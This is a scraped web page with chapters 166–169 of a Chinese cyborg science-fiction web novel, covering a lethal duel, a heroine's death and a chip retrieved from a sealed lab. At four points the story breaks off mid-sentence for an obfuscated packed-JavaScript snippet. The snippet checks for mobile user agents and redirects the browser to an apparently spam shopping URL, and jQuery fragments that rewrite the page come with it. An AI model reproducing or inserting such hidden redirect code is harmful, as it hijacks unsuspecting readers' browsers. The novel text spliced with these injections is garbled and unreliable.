颈间伤口也疼起来,她小心翼翼抚了上去,企图用按压抵抗痛苦。 早知如此就该打一针病毒再来,虽然以她现在的身体状态来说必死无疑了,但好歹能撑到把这个碍事的小胖子干掉。 机械义体让她免除一部分重伤的可能,却没有帮她分担一星半点疼痛,呼吸间,她感觉到有点疲惫了,却不能松懈,因为眼看阿盼锤了锤肩膀正在杀气腾腾地向她走来。 舜真忽地隐隐感到不对劲,有这么强大力量、速度和技巧,让她如此难以招架,这早已突破了二代机械体躯体可以承受的范围。 阿盼快步接近的同时,舜真看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音刚落,铁板钢筋等锐利的危险品尽数向舜真飞来,她来不及跑向门口,而红刃延展出的屏障又在抵挡了两块小碎片后就失了效。没能能量支撑,红刃也只能哀嚎着在舜真手里颤动。 既然不能挡就直面吧。舜真将完全用手臂和背部抵挡变成了攥紧拳冲向那钢铁洪流。眼尖的她一把抓来飞向她的一钢板挡在身前,两只手已经破了几层皮,露出里面的机械内心,所幸丧天良的程炼给了她一副完全机械的手,让她不至于只有挨打的份儿。 钢板反弹碎片不停折腾出清脆的响声,奈何飞来物速度之快,钢板几乎要挺不住了。没等舜真想到对策,一根钢筋直直飞来冲向舜真的右肩,她结结实实挨了一刺,这狠狠一招,扎得舜真一瞬间疼得眼泪要掉下来,近乎不能动弹。 也是在此时,阿盼瞅准了时机,朝舜真奔来,用蓄足了力、实实握紧的右拳,冲着对方腹部砸去。 如若这一拳再被照单全收,那舜真不死也得落个残废。她强忍着痛,迅速撤向阿盼右拳相反方向,这一步看似不经意,实则花了舜真大部分力气,却又玄妙,因为那拳几乎和舜真擦身而过。 强大的惯性使阿盼停不住脚步又换不了手,只得一拳砸向可怜的墙壁,硬生生砸穿了。 正当阿盼巨大的拳头卡在墙壁中无法抽身,舜真猛的扬起手臂,卯足了力气给阿盼后脖颈来了两手刀,第一手轻巧,第二手则用了寸劲,阿盼只觉后脑阵阵窜凉风。 两手刀下去,舜真并没有停住手,而是翻转了手掌,一把用虎口钳住脖颈。 她受了这些伤,才找准了机会。顷刻之间,虎口猛烈地运送着电流,“噼里啪啦”电光火石在阿盼后颈闪烁,他疼得咧了一下嘴,又感到一阵酥酥麻麻,竟然失了力气,整架机器瘫软下来。 二代的通病。 166. 夜宴(5) “阿盼,看着我。”舜真蹲在跪倒的阿盼面前。那双清澈的眼睛闪烁着不祥的光芒,随后光芒散去,只剩一双无辜沉默的眼睛望着她。 “从头到尾,你都是韶赋修的人?” 阿盼沉默,那双眼睛就这么盯着她。明明眼里写着很多想说的,嘴却像被粘住或封死了一样不吐一个字呢。 舜真大致有了定论。原来如此,她先前还以为阿盼是受舜希的操控。 这下好了,她一次性帮舜希铲除了两个碍眼的家伙,舜希不感动得送她两大包礼物都说不过去吧。 现在该舜真笑了,虽然这笑中包含着难以治愈的痛苦,但还是不免该笑一笑的。 没有多费口舌,没有挣扎的机会,“生日快乐。”舜真轻声说着,拔下这阿盼的智识芯片,打算送这个功臣一个荒唐的结局。 她看着这枚芯片,只觉得哪里奇怪,似乎是给一毛绒玩具强行装上了遥控系统。底子还是二代没错,可身体里被过分超载了那么多系统,应该是极其痛苦难以忍受的吧。 此刻阿盼安详的上半身不再那么肿胀,他跪倒着,像是在虔诚地面壁思过。没有叹惋,舜真掰断了手里的芯片,连同这枚芯片背后那张更小巧的遥控芯片,也一同碎掉了。 本不年轻的躯体再加上过分改造,还有没日没夜不要命的操劳和一些不得不出手的时刻,早已让舜真失去了活跃在战场上的精力。她扶着伤口靠墙根缓慢坐下,忍不住大口呼吸空气,不停冒着冷汗,想着如今打个略加改装的二代体都这么费劲,这下真是心有余而力不足了。 休息一下再往楼上赶吧,休息一下,走前别忘了拾掇下自己凌乱的头发和脸颊的灰尘,再把伤口藏一下,别让她看见,不然好不容易哄好的,看到这些又要哭了。 石佛一般,舜真就这样缩在角落闭目养神,全然没有感知到渐近的灵魂。 “阿盼……阿盼……” 舜真远远听到几声呼喊,却不清楚,迷迷糊糊间只觉得这喊声很是耳熟,像是许久以前出现在梦境中,但终究是虚幻的。她拍了拍脑袋,免得让自己昏睡过去,加上发炎的伤口,这一睡怕是直接就要睡到另一个世界去了。 “阿盼……阿盼!” 急促的脚步声接近,舜真倏然惊醒翻身站了起来。但对面人似乎并没看到舜真的存在,眼里只有那架报废的机器躯体,快步跑来跪倒在阿盼身前,失心疯一样四处摸索着冰凉的铁皮。阿盼双眼紧闭,浑身上下都是划痕,睡得不那么安详。 在摸到那本该装着芯片、现在却空空如也的凹槽后,来者在地上发现了碎掉了的阿盼的芯片。 那一刻,仿佛有不存在的灵魂被抽离,它慌不择路,仿佛槃木千里顷刻坍塌将它掩埋,不得呼吸。莫名又空又沉重,不止万吨巨石。 就在一切都好端端的光景里,陪伴他从出生到现在的人被毁灭在眼前。被忽视时收到鼓励,要受伤时被挡在身后,那每一面的音容笑貌都被详细刻在记忆里,尤其是焦虑时被那只厚实的手掌轻拍肩膀,坚定而有力量的语调讲出那句,“你一定能做到,我相信你。” 尽管后来不怎么愉快,但相对无言的时候又何尝不想说一句:“我理解你。” 他转身看到了那副美丽但写满冷漠的眼睛。 “是你?” “是我。” 这一刻,他浑身上下好似燃满了火,又像是被闷头浇了桶冰水,切齿的痛几乎要把机械骨骼碾碎,恨意从虚无中来。他只觉神智开始模糊,身体上却好像有源源不竭的力气,他仿佛能感受到那人类所研究的肾上腺素彪高,能将周围一切都吞噬。 像是那阵杯中的气泡起了反应,复杂心绪中关于真相的理智在气泡爆破中被推出脑海,病毒又重新回归到身上。 到底到哪一天才能停止这一切啊,到底什么时候才能让身边的人停止离开……他开始猛烈地喘息,眼里闪烁着比舜真更无情的红光,握紧的拳头发着机械摩擦的声响。 突然,他冲了出去,直奔舜真的方向。手里不知何时幻化出那柄狠烈的长刃,锋利异常,散着凶猛的光,无形空气中扬起妖艳的焰苗,透过淡淡的火光展示着不见血不罢休的恨。 来不及顾伤口,舜真慌张躲避着,三两步下来,衣袖就被划了不少口子,除了涌着的鲜红的血,有些部位甚至露出了冒着电星的机械板。 他的目标是对方的咽喉,最好一击击破防御,剩下的就是千刀万剐。现在的他就是一完全的机器人,完全没有了自主意识,像是遥控下的死亡工具,一门心思是杀戮,全然不顾对方是人是鬼。 他以近乎瞬移的速度挪转在对方的周围,恣意挥扬着手臂,看似毫无章法地无差别进攻,逼着舜真扬起红刃用以招架。 冷兵器相碰砸出巨大声响,红色刃光在舜真手中灵活翻转,配合上身法,尽数将对方的招法抵挡与身外。于是场面瞬间扭转,舜真借其被挡开的拳头的惯性,抽空发起反攻,先是一路上前进步连刺,逼迫其连连后退,这每一刺后均接着拧腕,两刀下来就将对方左右肋骨处划了深痕。 下一步是更重要的,面对他冲来的直拳,舜真一把飞速左手刀架开对方手臂,右手刀瞅准脖颈朝着一刀封喉的架势而去。 被仇恨填满的他一时乱了阵脚,只得用库星锥最脆弱的部位来抵挡。清脆的一响,库星锥一角刃崩裂了。 本不该只至此。故意放水也好,侥幸逃脱也罢,玄烈并没有因为这个插曲恢复神智,他眼里的黯淡下来,灰色的瞳孔仿佛被下蛊而失了神,他的脸上没有一点表情,好像死神附身,昭告着对方注定不能安眠的结局。 正好二人间隔着空隙,玄烈霎时甩出库星。与其瞄准头,不如瞄准对方已然受伤的肩膀和手臂。一道光从玄烈眼里闪过,舜真收到信号准备躲闪。 只见玄烈轻轻勾动食指,一枚冒着蓝火子弹以几乎肉眼不可见的速度从枪口飞出,舜真早已计算出大致方位并轻巧地侧身躲过。但她却还是暗自惊恐,没想到玄烈瞄准的是肩膀,看来他并不打算给她个痛快的结束。 这份狠心是从哪里学到的? 等不及舜真犹疑,玄烈并没有停止开火,他一步一步沉重地靠近舜真,并不断地发射子弹,那子弹似乎用之不竭,无尽地向舜真飞来,她只得大步跳转在子弹间。 但她很快发现了对方的破绽,利用四散在房间各处的建筑垃圾,舜真在借助这些躲闪、阻挡的同时,也在兜着圈向玄烈接近。 就是此刻!舜真直冲着玄烈的枪口,奔跑脚踏钢板腾越而起,瞅准间歇,一把自下而上托起库星枪口,接着顺势要将玄烈的手腕往反方向掰动,意图钳制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347638|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方。 但这招正被玄烈识破,他也借势抓死了对方的手,使对方无法使力又无法脱身,同时空闲的另一只手直接掐向对方的咽喉。 舜真感到一股力量深深将她锁住,并大力将她整个人封在墙壁上,短时间内就让她憋红了脸,呼吸极其困难。 玄烈依旧面无表情,他冷漠地掐着舜真的脖颈,并越来越狠,慢慢将对方高举直至自己伸直手臂。他就这样仰视着、漠视着,享受报仇的快感。 无关身份,此刻在他眼里的对方仅仅是个敌人。敌人稚嫩皮肤的火热触感只会让他更加兴奋,直到突如其来的湿漉漉的气息出现。 几滴水珠滴在玄烈手上,他忽然开始一阵头晕目眩,再睁眼时正对上对方楚楚可怜的眼神,泪水如翻腾江海开始止不住地流。玄烈满是疑问,尽管他依旧并未认得出对方。 舜真忍受着翻江倒海的窒息感望着对面那个人,她的脑袋因缺氧而止不住地发昏,以至于她突然将玄烈幻视成了某个人。 拼命掐着对方的手开始松懈,玄烈一片茫然。对方的脚落了地,开始哭得更凶,一边咳嗽一边猛烈抽噎着,玄烈突然心慌。 为什么哭呢? 玄烈无措地抬起手,想要抚去对方的泪痕。 但只要转变得够快、够自然,再大的失态也能被瞬时以伪装来扭转态势。一丝狡黠闪过对方眼底,玄烈只见对方笑得诡异,下一秒自己的手就被死死地钳制住了。 玄烈还没有晃过神来,就见一条猩红色的光锁链束缚住了他的手腕,不得动弹之时,对方的手里刃已切入了他脖颈两毫米。 她并非完全让着玄烈不肯下手,只是在终于下定决心战斗时发现自己抬不起来的手臂,召唤出锁链已是极限,钻心的痛让她再施展不出下一招。 毕竟不是铁人。 但刚才的测试确实可以看出玄烈并没完全失了性,这点也已经足够了。 舜真勾起肩膀尽量让疼痛减缓,同时感受到涓涓暖流从身体的各个关节处涌入,不该是这个时候,但也没有办法了。 绝不可能就这么被当犯人一样囚禁着,玄烈猛地挣脱了锁链,任那红光化作星星飘扬在空中。他刚要发作,看到对方竟变异一般。 在可怕幽暗的静谧里,舜真摇摇晃晃站在原地发着抖。一头乌黑靓丽的长发从尾端开始逐渐演变成红色,并在齐肩膀处接连断掉,形成干练的中短发。瞳孔仿佛被阴云覆盖,只见无光一片黑,眉间淡淡闪着舜氏集团那形似火苗的标志。 那抹星光织成了一层轻薄的面纱掩在面前,将整个人埋藏在神秘中。 恍惚里,玄烈听到了有铃铛由远及近轻响。 玄烈一时间无法判断面前这个角色的危险程度,只知道对方确实受了严重的伤,此刻的折腾恐怕也只是穷途末路了。 舜真调整呼吸,再次举起那柄红刃,架起了势。此刻的红刃似乎变了模样,在刃握在舜真手上的一刹那,刃柄处的护手仿佛被渡上一层鎏金,在月下无比耀眼。开刃的部分延长了至少三寸,径直形成了一柄长剑,活像是白白用肉眼锐化了几个度,好似削铁无声。 接招吧! 顷刻间,炫目红光在舜真手里舞成了恶魔般的火花。玄烈聚精会神,一下子便看穿了在空气中舞转的激光飞刃正朝他扎来。 167. 夜宴(6) 玄烈下意识用手臂阻挡,却发现根本抵挡不住。顿时他手臂便绽开了皮,再挨一刀怕是就见了骨。 不妙,玄烈跑动躲闪不及,身体不同部位均不慎接下好几刀,有深有浅,致伤却不致命。他只得施力将手掌架在另一小臂上形成气盾,却依旧不能完全将不长眼的刀风抵挡在外,气盾消减的威力依旧片片划在玄烈的掌心。 但舜真已经到了极限,纵使被逼无奈形成的另一形态能够提供极强的愈合力,可难耐她已经伤入膏肓,身体的承重早到了极限,此刻再无周转之地。 看准时机,玄烈合力将气盾往外猛力一推,使足了力的掌风结结实实落在舜真的天突穴上,将人拍得老远,重重磕在墙壁上,面纱掉落,露出对方染着血迹的红唇,和隐约显着机械纹路的脸颊。也是此时,玄烈精准夺过对方手中的一柄刀,在对方被拍在墙上时,自上而下,一把将刀直直扎入对方的肩膀。 一口鲜血喷吐出,舜真一时被外伤内伤夹击,一股气在血管四处游走,又僵住,热浪不断往上翻涌,纵有再多的痛苦也再流不出眼泪来,眼前如走马灯一般。 但玄烈无法解恨,他再一次将刀往对方身体里刺一分,这下他听到了对方口中隐忍着的呜咽。 不够,还不够!玄烈几乎颤抖着手又更深刺了一分,这下除手柄以外的刀身几乎刺穿对方的身体,他看到对方嘴角还在潺潺向外涌动着鲜血。玄烈猛地将刀拔出。 像是整个脑袋被什么东西蒙住了一样,舜真只觉麻木,又忍受着从不见底的深渊隐隐活跃的痛意。她再没力气,在刀被抽离的一瞬间,顺着墙根跪倒在了地上。 玄烈仿佛听到自己脑中有某一细小的电线突然“嘣”地断了,随之而来又是强烈的耳鸣,他朦胧间举起手中的刀,看到刀刃上滴落的血液,突觉头疼欲裂。 目光移向地上那摊跪着的红发女人,他更像是被人扼住了喉咙,吐不出半个字来,整个人手足无措,灵魂被冰封。 在生命的最后时刻,舜真还是苦笑着流出眼泪来,她不由得回顾自己的一生,又觉得太痛了,收起了回忆。 从脑海深处闪过的画面占据着此刻玄烈所有的意识,那些他寻找的疑惑和感动,恍若隔世,又好似就在眼前,眼前的景象与记忆中的模糊景象相结合,听到无助又虚弱的那句: “我记得你……你是……玄烈……是我……最喜欢的孩子……” 病毒带来火焰般的燎烧感从心头陨落,世界死寂下来。一侧高楼之上的微光穿不破坚硬的墙壁,唯有月光大发慈悲穿过方窗停留在玄烈背后五米处。 他毫发无伤,甚至一场战斗过后的清爽感比疲累来得更加实在。 眼睁睁看着一条生命陨落在眼前,他作为机器人最初的柔情最终竟然被湮灭在自己手里,玄烈一下倒在尸体面前,急迫着想触碰对方的伤口,却又努力尝试着安定。 指尖要触及的刹那,玄烈失去了所有的勇气,他不敢看她机器人般半合的双眼,只能绝望地、濒临崩溃地看着对方伤口下的血迹,一股与生俱来的力量穿透了他的身体,仿佛身体里有另一个他更加激动和迷茫,痛彻心扉。 胸口无尽的憋闷让他几乎要发狂,于是在好一阵咬破口内皮肉的沉静后,玄烈闷头起身逃离了这个残忍的废墟地。 此刻,深藏于地下的某人忽然收到了一条最后的消息。 “我已尽我所能为你们铺展道路,时至今日无怨无悔,望你们能够卸去包袱,无怨无悔不加顾虑地行进。——舜真。” 大厦依旧歌舞升平,绚丽耀眼的灯光下摇曳着纵情狂欢的生命们,他们人面鬼身讨好着高位的权势,又互相看不起,认为在座各位都是比自己卑劣的灵魂。 失去了某部分支撑的玄烈自顾自缩在角落,那些往日里陪伴在他身侧的影子渐渐消散。他头脑混乱,就像初生的婴儿被迫离开了温床,只得自己挣扎谋生一般。 沉寂的几个小时后,一阵骚动袭扰了整座大楼,玄烈从虚无中被惊醒,身边人的叽叽喳喳全部幻化成脑中乱飞的小鸟,他不明就里地跟随着众人往楼后涌去。 楼后狂风呼啸,乌云漫天,月色朦胧,众人停滞脚步,开始指指点点。玄烈拨开人群挤到前方,眼前的景象险些使他直接摔在地上。 是游泳池。 游泳池中的女人安详地合着双眼,面无表情,飘在水中,右脚脚踝与左手手腕被铁链系在池底,战斗服破成一缕一缕的布条,凝脂般的皮肤在水箱的幽蓝/灯光下更显病气苍白,全身上下都有不同程度的匕首划痕,角度不一,深浅不一。黑色长发飘散,玄烈一眼看到了对方肩膀处,有他赐予的贯穿刀伤。 一刻梦落,开到荼蘼。 监控在事发前三个小时全部中断了,这是安保部给出的说法。舜希装模做样惩戒了杨宁和手下一片人,随后草草了事,不肯再提有关于舜真的一句话。当时站在人群身后的玄烈将这一切看得一清二楚,包括舜希带领着众人离开时,跟在队尾的杨宁稍稍欠身,刚好在人头耸动间看到了玄烈。 他苦涩地笑了。 正式任职机械体总队长的那天清晨,玄烈被噩梦吵醒。梦里是对当晚状况的一次又一次回顾,可全部是第三视角。总是在远处偷窥,看着一动不动的玄烈跪倒在一动不动的舜真尸体前,视线被墙边挡住一半,耳畔传来朦朦胧胧的窃窃私语声。 每当梦里的玄烈想仔细听那边是谁说了什么时,画面总会又重现他将剑刺进舜真身体的那一刻,如此往复,循环不息。 直到他梦到背对着他的那个“玄烈”突然转头望向他,却是一张已故的向繁森的脸。 醒来再想想才发现这画面有点滑稽。玄烈翻身起来麻利地冲了个冷水澡让自己冷静冷静再冷静,临出门时才看到桌上多了个大拇指大小长条形金属插片,旁边落着一张字条。 ——这是舜真总要求我转交给您的密钥,录入令牌,您便可对所有斩翼军实行无限制指令。——棱镜 貌似这东西昨天晚上就被放在这了,而他玄烈在外漫无目的地游荡到半夜才回到房间,根本顾不得看看四周的异样,闷头就睡。 感觉到不对劲,他花了一天去查那日宴会上的酒。他起初对托人找关系搞信息的事一窍不通,到如今也没学来多少。不过幸好没时隔事发多久,他最后还是在一些人疑惑的眸光中要到了当晚剩余的酒液。 借绯篱的名字偷跑到实验室分析了一阵,发现的确是被人下药了。 激发病毒的药。 成分和那几针疫苗差不多,除了他之外没身染这种病毒的人自然什么也没尝出来。这药是舜希下的吗?难道舜希已经知道他身负这种奇异的病毒了吗?那她还知道更多吗?例如玄烈是如何感染的,例如舜真对这病毒的打算…… 早知就不该喝那几口。玄烈将量杯里剩余的清透液体倒了个干净,半梦半醒地走出实验室。 插片严丝合缝插进令牌的瞬间,令牌再次通体发出古怪的光亮,暖盈盈的,很有分量的感觉。 重要的东西都放在身上,玄烈已然做好了准备去打没有归途的仗。他最后将令牌放进兜里,硬着头皮去给所有机械体开集体大会。 清晰地知道自己身边人越来越少后,玄烈莫名多了个心慌的毛病,他明白这是缺乏安全感的表现。那些如潮的压力劈头盖脸涌上了他的肩头,每每天光大亮,他总会在一片叹息中醒来。 沿着腕表的指示一路南上,玄烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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站在台上是这样的感觉,玄烈没急着走。他比对着大概的方位,往台边一步步挪动,站在了原本纪凛烛站着的位置。他还记得自己当时站在哪,他于是也朝那个方向望。 大脑自动帮他计算和补全当时的场景,忽而有种和过去的自己对话的感觉。如果和当时的自己说一句话,会说什么呢? 玄烈看着人群里的自己,那个呆头呆脑正计算着何时赴死的他,那个对未来浑然不知的他,什么都说不出来。这么久以来的经历一句话道不清,一些道理也远不如亲身体验来得透彻。 “哎哎!玄烈!你看那是你哎!”阿盼在远处拍打着那个凝望着台上发呆的玄烈。而台上的他突然内心激起一阵难受,率先移开了视线。 腕表“嘀嘀”响不停,玄烈眼看绯篱发来一连串警告信息,敦促他快点想好对策。 可玄烈还没来得及看内容,几只安保部黑寂军便钻入大厅。它们手持刀枪,一个个看见玄烈都像看见了仇人一样,从架势到表情全都凶神恶煞的。一个像头头一样的黑寂军拨开旁人站到前排,手一挥,后方的黑寂军便齐齐端起了枪对准玄烈的脑袋。 预感到不详,玄烈暗暗后撤了两步。 黑寂军头头抬起腕表,表盘瞬时投出一块标着感叹号的红色全息屏,“舜总召唤令,烦请您前往顶层实验室接受问询。” 这几天玄烈一直安安静静待着从未招惹什么,难道是第二战备盒子出了问题?总不能跑吧,可玄烈又迟迟不肯迈出那步。 腕表又“叮”了一声。玄烈抬腕一看,也是一条优先级极高的红色星号信息。 是程炼发来的,只有一个字。 “跑!” 168. 凛烛(1) 呼吸辗转,灯火沉重,枪声在楼道间回荡,轰然震慑着曲折走廊墙壁背后隐藏的错杂线路。 脚步声时深时浅沿着地板纹路走向动荡,玄烈眼前时明时暗,上一秒里拐角处还有几十步的距离,灯管被刺激得闪烁的片刻,玄烈再睁眼就险些撞了墙了。 人们都不明白这个奔跑到只剩下残影的机械体究竟犯了什么错,何至于被这么多黑寂军端着枪追赶。他们或多或少想从格子间探出来瞧一瞧,被金属墙壁弹射的子弹便擦着他们的脸颊和天灵盖呼啸而过,咆哮着他们的好奇心害死猫。 玄烈也不知道程炼这个字出于什么本意,但就像是心里已经下了决定的事,往往人们稍作督促,他就会不顾一切朝着心指引的方向去赶。 一溜烟跑出了十万八千里远,接着电梯开合与楼梯间的死角,玄烈已经成功甩丢了三四波黑寂军。 稍作休整的时候,他打开腕表看到绯篱发来的消息。 只是一张阅后即焚的照片。第二战备盒子被当至宝一样放在铺着天鹅绒的水晶盒子里,下方精密显示屏显示的分析结果却只有:“无数据,存在数据被销毁的可能性。” 舜希那边的进度远比玄烈想象的快多了。难道他们团队就没有一个人摸鱼偷懒吗?在财富、权力与名望的巨大诱惑面前,恐怕鲜少有人愿意当拖后腿的那个。 看来是败露了。 想着想着,身后又响起脚步声,蹲在楼梯间的玄烈只得接着往下走。这条路他也很熟悉。当他再走了这么几遍,他才知道,原来根本没有直通这里的电梯。最方便快捷的路,就是纪凛烛带领他走的那条路。 两边监狱般的围栏内已没有了感染病毒的机械体,灯却依然吝啬的隔好远才有一盏,这条路彻底死气沉沉起来。 “砰——” 一颗子弹蹭着玄烈的脖颈径直飞过,击碎了他面前的一盏小灯,紧接着就是嘹亮的咆哮声。玄烈回身端起库星就是两枪,抢出时间后,他一刻不惜地往尽头跑去。 但这是条有去无回的路。 玄烈每隔几步就往回发了几枪。走廊狭窄,上赶着往前扑的黑寂军一览无余地暴露在玄烈枪口下,可惜他自己同样没可躲的地方。一个转角守不住了,玄烈就会赶快转移到下个拐角再进行游击。 但黑寂军太多了,他基本可以预料到要是被这帮人抓住带回去会是什么样的光景。 可能会被打死,收回权力。 抑或是被打成残废,再收回权力。 就算舜希需要他这个第一战备用来当门神一样防着韶赋修,那他也定会受到应有的惩罚,那时要再想翻身,就只能寄希望于第二战备能带着第三四五六战备来救他了。 焦头烂额到一半,玄烈被自己这一想法给逗笑了,笑到他马失前蹄,一个闪身不及,后背结结实实挨了一枪。火热的子弹刺入他的血肉,空气里瞬间爆发出一场小型的血雾弥散。 糟糕,这子弹是特制的。子弹在扎进玄烈胸腔后停止了推进,但它仍旧不断加着温,火球般炙烤着周围的金属机械配件,有嗞啦声响起。 玄烈勉强扶着墙边站定,不倒下是坚持到胜利的保证。他又“砰砰”几枪击毙了五六只黑寂军,与此同时,“嘭”的一声,那颗子弹终于在他体内爆炸了。 那是种类似盛夏暴雨前被包裹在云层后方一场闷雷,惊人的响,却又很窝囊。疼晕过去的刹那,玄烈忽感有薄荷糖一般清爽的味道飘进他的鼻腔。 是皮肉开启了自动愈合的功能。 这场爆炸声窝囊,即刻间醒过来的玄烈可不想那么窝囊。他将身体倚在墙边,以便更多的力气足够汇集到他手下。 手掌殷红的热量攀升到库星枪身再次发散出足以照亮整条走廊的青光,那是种幽然神秘的色彩,双眼直愣愣看着这抹颜色的黑寂军们耳畔还环绕着微妙的爆裂声响,犹如烧烤架上任人宰割的肥羊。它们很快就看到库星乃至玄烈周身所环绕的能量光,空气都为之扭曲。 皮肉绽开的声音和皮肉愈合的声音同样令人听了浑身发痒,待那场爆炸在玄烈身上已不剩下一点影子之时,他扣下了扳机。 很快,亮光铺满了舜氏整块四通八达的地下空间。烟尘被那颗炸弹冲击波的余威驱赶得不敢往玄烈这边蔓延半点,玄烈身边的一切开始天摇地晃。 为避免舜希那边查到绯篱和程炼,即使有一部分可能他们已经被查到了,玄烈这边也不能当拖油瓶。他将腕表一解,丢到地上,狠狠将其踩碎了。前面的来时路变成了一团迷雾,玄烈干脆头也不回地往没有出口的尽头跑去。 实验室还是老样子,过往的痕迹都被清理干净,安放碎片的窗口已紧密严实地变成一块平坦不可破的平面。现在只剩下那块指纹识别屏空荡荡。 仿佛有警报声响起。玄烈双手插兜,长久地望着那块识别屏,脑海里挥散的都是这么久以来发生的、桩桩件件他依稀记得的那些时刻,耳朵却机敏地判断着声音的出处。 黑寂军不该这么快就穿过了那块爆炸区,更像是头顶或脚下的声音,还有窃窃私语和吵架声。他的耳朵在这场爆炸后越发好使了。 再远一点,有直升机和战车的声音,排列整齐的黑寂军大部队被安排在机械体工作区,比例大约是五只黑寂军对一只机械体,生怕他们受玄烈指挥下一秒就要造反。小队精炼黑寂军则从楼的各个方向向玄烈所在的方位行进着,最快的那支已经到玄烈头顶上三层楼梯口了。 不过这些声音是真实听到还是脑补的就无处证实了。玄烈从衣服最深处的口袋拿出了那块胶状物,是绯篱帮他拓的纪凛烛的指纹。 右手食指,概率是十分之一。失败会被电击,像第二战备说的,他需要一场彻底令他脱胎换骨的电击来刺激。要么被电成残废,要么被电激化,要么死在这里。 无论怎样,都还有第二战备兜底。 万一他真的赌对了,这个锁真如他想的那样……三个碎片,伏策一枚,舜真一枚,舜希一枚;两块识别,第一战备的虹膜,第二战备的……指纹。 胶块离那识别屏仅有三厘米,玄烈停下了动作。不是他害怕了,而是他突然变得不知该如何面对那一切。 早知道那朵花就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369419|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要回来了。 黑寂军更近了,玄烈将淌到下颌角的不知是汗水还是什么擦去,心一横,将那胶块上的指纹用力怼向识别屏。 白紫色炸亮时,玄烈心一紧,以为是电流一路顺着他的指尖猛扎向了他的眼睛,不由得紧紧闭上了眼。 后背发凉,指尖却是烫的,火一样的温度即刻让那胶块融化成一滩淤灰色的水,空气中顿时迸发出难闻的气味。 眼睛久久不敢睁开,玄烈忍受着异味带来的眩目与恶心,以为这是人临死前的惯常状态,都不用提醒,他自己脑子里就开始跑走马灯。 直到他听见好长好沉重一声重物挪移的声音,又刺耳又像老人低低的怒吼,难听得很,他才意识到自己还站着,双腿只是因他重心太靠后所以发麻。 一阵清风擦着玄烈的肩膀从身边刮过。他谨慎地掀开眼皮,视线却怦然被晃亮了。 门开了。 昏黄的光笼罩在场中的大金属台子上,巨大屏幕像一汪探不见底的深泉一般漆黑到反不出一片光,四周的操控台实验台置物架被隐在灯光中心之外,昭示它们是不重要的陪衬。 金属台上摆着一玻璃架子。时隔这么多年,金属台包括玻璃架上非但没落一点灰,反而还如刚被清洗擦抹过那般锃亮。 玻璃架上只嵌着两块拳头大小方形水晶盒,有电路被夹在玻璃架板中,一直通向两块水晶盒边。 空气里是历史的味道。被封闭在实验室中这么多年,空中飘散的微生物一定想不到外面的世界已大变样子。陈旧、腐朽、一种落寞的气息主动扑在玄烈身上。玄烈后脚踏进实验室时,门骤然快速关上了。 如此古老又笨重的门就是很奇怪,引人进去前总是要一再缓慢,生怕人看不出里面深藏门道,又总是趁人刚被空间内的事物迷住眼睛之时用尽浑身解数快速并和,生怕人发现这是陷阱会转头跑出去。 无所谓,只要进得来,出去就不是难事。就算死在这里,也值了。 玄烈快速靠近,发现那两块水晶盒子里的确是两枚芯片,全都在电线所提供的类似磁场一样的空间内浮动着。 左边那枚是普通的智识芯片,右边那枚芯片形制特殊,是玄烈不曾见过的芯片类型。比智识芯片要小得多,形状竟是半方半圆形,上面是用某种金属以掐丝技艺印成的神兽图案,神兽三条腿,半只角,一只眼睛,无鼻无口,背上两扇被折到只剩一半的翅膀。 这就是所有人玩命发疯争相抢夺的那枚芯片,就这么小,两耳不闻窗外事、这样闲适地飘在这里。 玄烈取下那水晶盒,发觉这玩意竟沉到他需大小臂齐发力才拿得起来。用库星锥幻影撬开了盒子,玄烈真正亲手触碰到那芯片,才知道芯片本身其实仅和一支羽毛一样轻,放在兜里什么时候丢了都不会知道。 不知是芯片表面扎手的金属刺破了玄烈的指尖,还是芯片那磨砂表面朦胧了聚集在上面的光,他注视着芯片,眼眶忽而一阵酸涨,滚烫的透明液体在酸痛的眼球表面滚动,最终落了下来。 实在太小了。用那么多人换一个它,太亏了。 169. 凛烛(2) 水晶盒太重了,玄烈捣鼓了一阵,并未发现这盒子有什么特殊之处,便只将芯片随意地放进兜里。 接下来便是那枚智识芯片了,同在第二战备基地那看到的第二战备智识芯片一样,玄烈也在存放智识芯片的水晶盒子背面发现了那块被死死钉在上面的金属铭牌。 铭牌上刻着:第一战备·凛烛。 “原来在这里……”玄烈小声嘟囔道。只是这声“在这里”究竟指的是智识芯片还是这个出现了很多次的名字,他也不得而知。 感到好一阵头脑昏花,玄烈强撑着理智镇定地将那芯片从盒子里取出。 